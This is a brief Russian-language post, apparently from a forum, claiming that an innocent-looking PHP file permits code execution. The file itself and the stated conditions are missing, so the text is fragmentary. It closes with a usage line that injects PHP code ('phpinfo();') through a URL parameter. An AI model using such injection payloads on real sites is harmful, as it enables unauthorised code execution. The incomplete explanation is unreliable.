Вот посмотрим на этот файл:
С виду он безобиден и неуязвим. Но это не так , смотрите внимательно, в нём исполнение кода , при определённых условиях:
Условия :
Вуаля, юзать так:
.php?a=phpinfo();